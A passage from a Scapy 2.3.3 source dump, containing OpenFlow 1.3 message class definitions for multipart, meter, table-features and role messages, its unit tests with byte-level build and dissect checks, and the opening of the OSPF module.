0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 7, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), GroupDescPacketListField("group_descs", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestGroupFeatures(_ofp_header): name = "OFPMP_REQUEST_GROUP_FEATURES" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 8, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0) ] overload_fields = {TCP: {"sport": 6653}} ofp_action_types_flags = ofp_action_types.values()[:-1] # no ofpat_experimenter flag class OFPMPReplyGroupFeatures(_ofp_header): name = "OFPMP_REPLY_GROUP_FEATURES" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 8, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), FlagsField("types", 0, 32, [ "ALL", "SELECT", "INDIRECT", "FF" ]), FlagsField("capabilities", 0, 32, [ "SELECT_WEIGHT", "SELECT_LIVENESS", "CHAINING", "CHAINING_CHECKS" ]), IntField("max_group_all", 0), IntField("max_group_select", 0), IntField("max_group_indirect", 0), IntField("max_group_ff", 0), # no ofpat_experimenter flag FlagsField("actions_all", 0, 32, ofp_action_types_flags), FlagsField("actions_select", 0, 32, ofp_action_types_flags), FlagsField("actions_indirect", 0, 32, ofp_action_types_flags), FlagsField("actions_ff", 0, 32, ofp_action_types_flags) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestMeter(_ofp_header): name = "OFPMP_REQUEST_METER" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 9, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("meter_id", "ALL", ofp_meter), XIntField("pad2", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPMeterBandStats(Packet): def extract_padding(self, s): return "", s name = "OFP_METER_BAND_STATS" fields_desc = [ LongField("packet_band_count", 0), LongField("byte_band_count", 0) ] class OFPMeterStats(Packet): def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:4] + struct.pack("!H", l) + p[6:] return p + pay name = "OFP_GROUP_STATS" fields_desc = [ IntEnumField("meter_id", 1, ofp_meter), ShortField("len", None), XBitField("pad", 0, 48), IntField("flow_count", 0), LongField("packet_in_count", 0), LongField("byte_in_count", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), PacketListField("band_stats", None, OFPMeterBandStats, length_from=lambda pkt:pkt.len-40) ] class MeterStatsPacketListField(PacketListField): @staticmethod def _get_meter_stats_length(s): return struct.unpack("!H", s[4:6])[0] def getfield(self, pkt, s): lst = [] l = 0 ret = "" remain = s while remain: l = MeterStatsPacketListField._get_meter_stats_length(remain) current = remain[:l] remain = remain[l:] p = OFPMeterStats(current) lst.append(p) return remain + ret, lst class OFPMPReplyMeter(_ofp_header): name = "OFPMP_REPLY_METER" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 9, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), MeterStatsPacketListField("meter_stats", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestMeterConfig(_ofp_header): name = "OFPMP_REQUEST_METER_CONFIG" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 10, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("meter_id", "ALL", ofp_meter), XIntField("pad2", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPMeterConfig(Packet): def post_build(self, p, pay): if self.length is None: l = len(p)+len(pay) p = struct.pack("!H", l) + p[2:] return p + pay name = "OFP_METER_CONFIG" fields_desc = [ ShortField("length", None), FlagsField("flags", 0, 16, [ "KBPS", "PKTPS", "BURST", "STATS" ]), IntEnumField("meter_id", 1, ofp_meter), MeterBandPacketListField("bands", [], Packet, length_from=lambda pkt:pkt.len-8) ] class MeterConfigPacketListField(PacketListField): @staticmethod def _get_meter_config_length(s): return struct.unpack("!H", s[:2])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = MeterConfigPacketListField._get_meter_config_length(remain) current = remain[:l] remain = remain[l:] p = OFPMeterConfig(current) lst.append(p) return remain, lst class OFPMPReplyMeterConfig(_ofp_header): name = "OFPMP_REPLY_METER_CONFIG" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 10, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), MeterConfigPacketListField("meter_configs", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestMeterFeatures(_ofp_header): name = "OFPMP_REQUEST_METER_FEATURES" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 11, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPMPReplyMeterFeatures(_ofp_header): name = "OFPMP_REPLY_METER_FEATURES" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 11, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), IntField("max_meter", 0), FlagsField("band_types", 0, 32, [ "DROP", "DSCP_REMARK", "EXPERIMENTER" ]), FlagsField("capabilities", 0, 32, [ "KPBS", "PKTPS", "BURST", "STATS" ]), ByteField("max_bands", 0), ByteField("max_color", 0), XShortField("pad2", 0) ] overload_fields = {TCP: {"dport": 6653}} ####### table features for multipart messages ####### class _ofp_table_features_prop_header(Packet): name = "Dummy OpenFlow Table Features Properties Header" def post_build(self, p, pay): l = self.length if l is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] # every message will be padded correctly zero_bytes = (8 - l%8) % 8 p += "\x00" * zero_bytes return p + pay def extract_padding(self, s): l = self.length zero_bytes = (8 - l%8) % 8 return "", s ofp_table_features_prop_types = { 0: "OFPTFPT_INSTRUCTIONS", 1: "OFPTFPT_INSTRUCTIONS_MISS", 2: "OFPTFPT_NEXT_TABLES", 3: "OFPTFPT_NEXT_TABLES_MISS", 4: "OFPTFPT_WRITE_ACTIONS", 5: "OFPTFPT_WRITE_ACTIONS_MISS", 6: "OFPTFPT_APPLY_ACTIONS", 7: "OFPTFPT_APPLY_ACTIONS_MISS", 8: "OFPTFPT_MATCH", 10: "OFPTFPT_WILDCARDS", 12: "OFPTFPT_WRITE_SETFIELD", 13: "OFPTFPT_WRITE_SETFIELD_MISS", 14: "OFPTFPT_APPLY_SETFIELD", 15: "OFPTFPT_APPLY_SETFIELD_MISS", 65534: "OFPTFPT_EXPERIMENTER", 65535: "OFPTFPT_EXPERIMENTER_MISS" } class OFPTFPTInstructions(_ofp_table_features_prop_header): name = "OFPTFPT_INSTRUCTIONS" fields_desc = [ ShortField("type", 0), ShortField("length", None), InstructionIDPacketListField("instruction_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTInstructionsMiss(_ofp_table_features_prop_header): name = "OFPTFPT_INSTRUCTIONS_MISS" fields_desc = [ ShortField("type", 1), ShortField("length", None), InstructionIDPacketListField("instruction_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTableID(Packet): def extract_padding(self, s): return "", s name = "OFP_TABLE_ID" fields_desc = [ ByteEnumField("table_id", 0, ofp_table) ] class OFPTFPTNextTables(_ofp_table_features_prop_header): name = "OFPTFPT_NEXT_TABLES" fields_desc = [ ShortField("type", 2), ShortField("length", None), PacketListField("next_table_ids", None, OFPTableID, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTNextTablesMiss(_ofp_table_features_prop_header): name = "OFPTFPT_NEXT_TABLES_MISS" fields_desc = [ ShortField("type", 3), ShortField("length", None), PacketListField("next_table_ids", None, OFPTableID, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTWriteActions(_ofp_table_features_prop_header): name = "OFPTFPT_WRITE_ACTIONS" fields_desc = [ ShortField("type", 4), ShortField("length", None), ActionIDPacketListField("action_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTWriteActionsMiss(_ofp_table_features_prop_header): name = "OFPTFPT_WRITE_ACTIONS_MISS" fields_desc = [ ShortField("type", 5), ShortField("length", None), ActionIDPacketListField("action_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTApplyActions(_ofp_table_features_prop_header): name = "OFPTFPT_APPLY_ACTIONS" fields_desc = [ ShortField("type", 6), ShortField("length", None), ActionIDPacketListField("action_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTApplyActionsMiss(_ofp_table_features_prop_header): name = "OFPTFPT_APPLY_ACTIONS_MISS" fields_desc = [ ShortField("type", 7), ShortField("length", None), ActionIDPacketListField("action_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTMatch(_ofp_table_features_prop_header): name = "OFPTFPT_MATCH" fields_desc = [ ShortField("type", 8), ShortField("length", None), OXMIDPacketListField("oxm_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTWildcards(_ofp_table_features_prop_header): name = "OFPTFPT_WILDCARDS" fields_desc = [ ShortField("type", 10), ShortField("length", None), OXMIDPacketListField("oxm_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTWriteSetField(_ofp_table_features_prop_header): name = "OFPTFPT_WRITE_SETFIELD" fields_desc = [ ShortField("type", 12), ShortField("length", None), OXMIDPacketListField("oxm_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTWriteSetFieldMiss(_ofp_table_features_prop_header): name = "OFPTFPT_WRITE_SETFIELD_MISS" fields_desc = [ ShortField("type", 13), ShortField("length", None), OXMIDPacketListField("oxm_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTApplySetField(_ofp_table_features_prop_header): name = "OFPTFPT_APPLY_SETFIELD" fields_desc = [ ShortField("type", 14), ShortField("length", None), OXMIDPacketListField("oxm_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTApplySetFieldMiss(_ofp_table_features_prop_header): name = "OFPTFPT_APPLY_SETFIELD_MISS" fields_desc = [ ShortField("type", 15), ShortField("length", None), OXMIDPacketListField("oxm_ids", [], Packet, length_from=lambda pkt:pkt.length-4) ] class OFPTFPTExperimenter(_ofp_table_features_prop_header): name = "OFPTFPT_EXPERIMENTER" fields_desc = [ ShortField("type", 65534), ShortField("length", None), IntField("experimenter", 0), IntField("exp_type", 0), PacketField("experimenter_data", None, Raw) ] class OFPTFPTExperimenterMiss(_ofp_table_features_prop_header): name = "OFPTFPT_EXPERIMENTER_MISS" fields_desc = [ ShortField("type", 65535), ShortField("length", None), IntField("experimenter", 0), IntField("exp_type", 0), PacketField("experimenter_data", None, Raw) ] ofp_table_features_prop_cls = { 0: OFPTFPTInstructions, 1: OFPTFPTInstructionsMiss, 2: OFPTFPTNextTables, 3: OFPTFPTNextTablesMiss, 4: OFPTFPTWriteActions, 5: OFPTFPTWriteActionsMiss, 6: OFPTFPTApplyActions, 7: OFPTFPTApplyActionsMiss, 8: OFPTFPTMatch, 10: OFPTFPTWildcards, 12: OFPTFPTWriteSetField, 13: OFPTFPTWriteSetFieldMiss, 14: OFPTFPTApplySetField, 15: OFPTFPTApplySetFieldMiss, 65534: OFPTFPTExperimenter, 65535: OFPTFPTExperimenterMiss } class TableFeaturesPropPacketListField(PacketListField): @staticmethod def _get_table_features_prop_length(s): return struct.unpack("!H", s[2:4])[0] def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_table_features_prop_cls.get(t, Raw)(s) def getfield(self, pkt, s): lst = [] remain = s while remain and len(remain) >= 4: l = TableFeaturesPropPacketListField._get_table_features_prop_length(remain) # add padding ! lpad = l + (8 - l%8)%8 if l < 4 or len(remain) < lpad: # no zero length nor incoherent length break current = remain[:lpad] remain = remain[lpad:] p = self.m2i(pkt, current) lst.append(p) return remain, lst class OFPTableFeatures(Packet): def post_build(self, p, pay): if self.length is None: l = len(p)+len(pay) p = struct.pack("!H", l) + p[2:] return p + pay name = "OFP_TABLE_FEATURES" fields_desc = [ ShortField("length", None), ByteEnumField("table_id", 0, ofp_table), XBitField("pad", 0, 40), StrFixedLenField("table_name", "", 32), LongField("metadata_match", 0), LongField("metadata_write", 0), IntEnumField("config", 0, { 0: "OFPTC_NO_MASK", 3: "OFPTC_DEPRECATED_MASK" }), IntField("max_entries", 0), TableFeaturesPropPacketListField("properties", [], Packet, length_from=lambda pkt:pkt.length-64) ] class TableFeaturesPacketListField(PacketListField): @staticmethod def _get_table_features_length(s): return struct.unpack("!H", s[:2])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = TableFeaturesPacketListField._get_table_features_length(remain) current = remain[:l] remain = remain[l:] p = OFPTableFeatures(current) lst.append(p) return remain, lst class OFPMPRequestTableFeatures(_ofp_header): name = "OFPMP_REQUEST_TABLE_FEATURES" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 12, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), TableFeaturesPacketListField("table_features", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"sport": 6653}} class OFPMPReplyTableFeatures(_ofp_header): name = "OFPMP_REPLY_TABLE_FEATURES" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 12, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), TableFeaturesPacketListField("table_features", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} ############### end of table features ############### class OFPMPRequestPortDesc(_ofp_header): name = "OFPMP_REQUEST_PORT_DESC" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 13, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", 0, ofp_port_no), XIntField("pad", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPMPReplyPortDesc(_ofp_header): name = "OFPMP_REPLY_PORT_DESC" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 13, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("ports", None, OFPPort, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestExperimenter(_ofp_header): name = "OFPST_REQUEST_EXPERIMENTER" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 65535, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntField("experimenter", 0), IntField("exp_type", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPMPReplyExperimenter(_ofp_header): name = "OFPST_REPLY_EXPERIMENTER" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 65535, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), IntField("experimenter", 0), IntField("exp_type", 0) ] overload_fields = {TCP: {"dport": 6653}} # ofp_multipart_request/reply_cls allows generic method OpenFlow() # to choose the right class for dissection ofp_multipart_request_cls = { 0: OFPMPRequestDesc, 1: OFPMPRequestFlow, 2: OFPMPRequestAggregate, 3: OFPMPRequestTable, 4: OFPMPRequestPortStats, 5: OFPMPRequestQueue, 6: OFPMPRequestGroup, 7: OFPMPRequestGroupDesc, 8: OFPMPRequestGroupFeatures, 9: OFPMPRequestMeter, 10: OFPMPRequestMeterConfig, 11: OFPMPRequestMeterFeatures, 12: OFPMPRequestTableFeatures, 13: OFPMPRequestPortDesc, 65535: OFPMPRequestExperimenter } ofp_multipart_reply_cls = { 0: OFPMPReplyDesc, 1: OFPMPReplyFlow, 2: OFPMPReplyAggregate, 3: OFPMPReplyTable, 4: OFPMPReplyPortStats, 5: OFPMPReplyQueue, 6: OFPMPReplyGroup, 7: OFPMPReplyGroupDesc, 8: OFPMPReplyGroupFeatures, 9: OFPMPReplyMeter, 10: OFPMPReplyMeterConfig, 11: OFPMPReplyMeterFeatures, 12: OFPMPReplyTableFeatures, 13: OFPMPReplyPortDesc, 65535: OFPMPReplyExperimenter } ############## end of OFPT_MULTIPART ################ class OFPTBarrierRequest(_ofp_header): name = "OFPT_BARRIER_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 20, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTBarrierReply(_ofp_header): name = "OFPT_BARRIER_REPLY" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 21, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTQueueGetConfigRequest(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 22, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port_no", "ANY", ofp_port_no), XIntField("pad", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTQueueGetConfigReply(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REPLY" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 23, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port", 0, ofp_port_no), XIntField("pad", 0), QueuePacketListField("queues", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPTRoleRequest(_ofp_header): name = "OFPT_ROLE_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 24, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("role", 0, { 0: "OFPCR_ROLE_NOCHANGE", 1: "OFPCR_ROLE_EQUAL", 2: "OFPCR_ROLE_MASTER", 3: "OFPCR_ROLE_SLAVE" }), XIntField("pad", 0), LongField("generation_id", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTRoleReply(_ofp_header): name = "OFPT_ROLE_REPLY" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 25, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("role", 0, { 0: "OFPCR_ROLE_NOCHANGE", 1: "OFPCR_ROLE_EQUAL", 2: "OFPCR_ROLE_MASTER", 3: "OFPCR_ROLE_SLAVE" }), XIntField("pad", 0), LongField("generation_id", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTGetAsyncRequest(_ofp_header): name = "OFPT_GET_ASYNC_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 26, ofp_type), ShortField("len", 8), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} ofp_packet_in_reason = [ "NO_MATCH", "ACTION", "INVALID_TTL" ] ofp_port_reason = [ "ADD", "DELETE", "MODIFY" ] ofp_flow_removed_reason = [ "IDLE_TIMEOUT", "HARD_TIMEOUT", "DELETE", "GROUP_DELETE" ] class OFPTGetAsyncReply(_ofp_header): name = "OFPT_GET_ASYNC_REPLY" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 27, ofp_type), ShortField("len", 32), IntField("xid", 0), FlagsField("packet_in_mask_master", 0, 32, ofp_packet_in_reason), FlagsField("packet_in_mask_slave", 0, 32, ofp_packet_in_reason), FlagsField("port_status_mask_master", 0, 32, ofp_port_reason), FlagsField("port_status_mask_slave", 0, 32, ofp_port_reason), FlagsField("flow_removed_mask_master", 0, 32, ofp_flow_removed_reason), FlagsField("flow_removed_mask_slave", 0, 32, ofp_flow_removed_reason) ] overload_fields = {TCP: {"dport": 6653}} class OFPTSetAsync(_ofp_header): name = "OFPT_SET_ASYNC" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 28, ofp_type), ShortField("len", 32), IntField("xid", 0), FlagsField("packet_in_mask_master", 0, 32, ofp_packet_in_reason), FlagsField("packet_in_mask_slave", 0, 32, ofp_packet_in_reason), FlagsField("port_status_mask_master", 0, 32, ofp_port_reason), FlagsField("port_status_mask_slave", 0, 32, ofp_port_reason), FlagsField("flow_removed_mask_master", 0, 32, ofp_flow_removed_reason), FlagsField("flow_removed_mask_slave", 0, 32, ofp_flow_removed_reason) ] overload_fields = {TCP: {"sport": 6653}} class OFPTMeterMod(_ofp_header): name = "OFPT_METER_MOD" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 29, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("cmd", 0, { 0: "OFPMC_ADD", 1: "OFPMC_MODIFY", 2: "OFPMC_DELETE" }), FlagsField("flags", 0, 16, [ "KBPS", "PKTPS", "BURST", "STATS" ]), IntEnumField("meter_id", 1, ofp_meter), MeterBandPacketListField("bands", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"sport": 6653}} # ofpt_cls allows generic method OpenFlow() to choose the right class for dissection ofpt_cls = { 0: OFPTHello, #1: OFPTError, 2: OFPTEchoRequest, 3: OFPTEchoReply, 4: OFPTExperimenter, 5: OFPTFeaturesRequest, 6: OFPTFeaturesReply, 7: OFPTGetConfigRequest, 8: OFPTGetConfigReply, 9: OFPTSetConfig, 10: OFPTPacketIn, 11: OFPTFlowRemoved, 12: OFPTPortStatus, 13: OFPTPacketOut, 14: OFPTFlowMod, 15: OFPTGroupMod, 16: OFPTPortMod, 17: OFPTTableMod, #18: OFPTMultipartRequest, #19: OFPTMultipartReply, 20: OFPTBarrierRequest, 21: OFPTBarrierReply, 22: OFPTQueueGetConfigRequest, 23: OFPTQueueGetConfigReply, 24: OFPTRoleRequest, 25: OFPTRoleReply, 26: OFPTGetAsyncRequest, 27: OFPTGetAsyncReply, 28: OFPTSetAsync, 29: OFPTMeterMod } TCP_guess_payload_class_copy = TCP.guess_payload_class def OpenFlow(self, payload): if self is None or self.dport == 6653 or self.dport == 6633 or self.sport == 6653 or self.sport == 6653: # port 6653 has been allocated by IANA, port 6633 should no longer be used # OpenFlow function may be called with None self in OFPPacketField of_type = ord(payload[1]) if of_type == 1: err_type = ord(payload[9]) # err_type is a short int, but last byte is enough if err_type == 255: err_type = 65535 return ofp_error_cls[err_type] elif of_type == 18: mp_type = ord(payload[9]) if mp_type == 255: mp_type = 65535 return ofp_multipart_request_cls[mp_type] elif of_type == 19: mp_type = ord(payload[9]) if mp_type == 255: mp_type = 65535 return ofp_multipart_reply_cls[mp_type] else: return ofpt_cls[of_type] else: return TCP_guess_payload_class_copy(self, payload) TCP.guess_payload_class = OpenFlow scapy-2.3.3/scapy/contrib/openflow3.uts000077500000000000000000000071561300136037300200760ustar00rootroot00000000000000% Tests for OpenFlow v1.3 with Scapy + Usual OFv1.3 messages = OFPTHello(), hello without version bitmap ofm = OFPTHello() str(ofm) == '\x04\x00\x00\x08\x00\x00\x00\x00' = OFPTEchoRequest(), echo request ofm = OFPTEchoRequest() str(ofm) == '\x04\x02\x00\x08\x00\x00\x00\x00' = OFPMatch(), check padding ofm = OFPMatch(oxm_fields=OFBEthType(eth_type=0x86dd)) assert(len(str(ofm))%8 == 0) str(ofm) == '\x00\x01\x00\x0a\x80\x00\x0a\x02\x86\xdd\x00\x00\x00\x00\x00\x00' = OpenFlow(), generic method test with OFPTEchoRequest() ofm = OFPTEchoRequest() s = str(ofm) isinstance(OpenFlow(None,s)(s), OFPTEchoRequest) = OFPTFlowMod(), check codes and defaults values ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_group='ALL', flags='CHECK_OVERLAP+NO_PKT_COUNTS') assert(ofm.cmd == 3) assert(ofm.out_port == 0xffffffff) assert(ofm.out_group == 0xfffffffc) ofm.flags == 10 = OFBIPv6ExtHdrHMID(), check creation of last OXM classes assert(hasattr(OFBIPv6ExtHdr(), 'ipv6_ext_hdr_flags')) OFBIPv6ExtHdrHMID().field == 39 + Complex OFv1.3 messages = OFPTFlowMod(), complex flow_mod mtc = OFPMatch(oxm_fields=OFBVLANVID(vlan_vid=10)) ist1 = OFPITApplyActions(actions=[OFPATSetField(field=OFBIPv4Src(ipv4_src='192.168.10.41')),OFPATSetField(field=OFBEthSrc(eth_src='1a:d5:cb:4e:3c:64')),OFPATOutput(port='NORMAL')]) ist2 = OFPITWriteActions(actions=OFPATOutput(port='CONTROLLER')) ofm = OFPTFlowMod(table_id=2, match=mtc, instructions=[ist1,ist2]) hexdump(ofm) s = '\x04\x0e\x00\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x01\x00\x0a\x80\x00\x0c\x02\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x04\x00\x38\x00\x00\x00\x00\x00\x19\x00\x10\x80\x00\x16\x04\xc0\xa8\x0a\x29\x00\x00\x00\x00\x00\x19\x00\x10\x80\x00\x08\x06\x1a\xd5\xcb\x4e\x3c\x64\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfa\xff\xff\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00' str(ofm) == s = OFPETBadRequest() containing a flow_mod with wrong table_id flowmod = OFPTFlowMod(instructions=OFPITGotoTable(table_id=0)) ofm = OFPETBadRequest(errcode='OFPBRC_BAD_TABLE_ID', data=str(flowmod)) hexdump(ofm) s = '\x04\x01\x00L\x00\x00\x00\x00\x00\x01\x00\t\x04\x0e\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00' str(ofm) == s = OFPTPacketIn() containing an Ethernet frame ofm = OFPTPacketIn(data=Ether()/IP()/ICMP()) p = OFPTPacketIn(str(ofm)) dat = p.data assert(isinstance(dat, Ether)) assert(isinstance(dat.payload, IP)) isinstance(dat.payload.payload, ICMP) + Layer bindings = TCP()/OFPMPRequestDesc(), check default sport p = TCP()/OFPMPRequestDesc() p[TCP].sport == 6653 = TCP()/OFPETHelloFailed(), check default dport p = TCP()/OFPETHelloFailed() p[TCP].dport == 6653 = TCP()/OFPTHello() dissection, check new TCP.guess_payload_class o = TCP()/OFPTHello() p = TCP(str(o)) p[TCP].sport == 6653 isinstance(p[TCP].payload, OFPTHello) = complete Ether()/IP()/TCP()/OFPTFeaturesRequest() ofm = Ether(src='00:11:22:33:44:55',dst='01:23:45:67:89:ab')/IP(src='10.0.0.7',dst='192.168.0.42')/TCP(sport=6633)/OFPTFeaturesRequest(xid=23) s = '\x01#Eg\x89\xab\x00\x11"3DU\x08\x00E\x00\x000\x00\x01\x00\x00@\x06\xaf\xee\n\x00\x00\x07\xc0\xa8\x00*\x19\xe9\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa6\xa4\x00\x00\x04\x05\x00\x08\x00\x00\x00\x17' assert(str(ofm) == s) e = Ether(s) e.show2() of = OFPTFeaturesRequest(e[TCP].load) of.xid == 23 scapy-2.3.3/scapy/contrib/ospf.py000066400000000000000000000677231300136037300167510ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = OSPF # scapy.contrib.status = loads """ OSPF extension for Scapy This module provides Scapy layers for the Open Shortest Path First routing protocol as defined in RFC 2328 and RFC 5340. Copyright (c) 2008 Dirk Loss : mail dirk-loss de Copyright (c) 2010 Jochen Bartl : jochen.bartl gmail com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. """ from scapy.packet import * 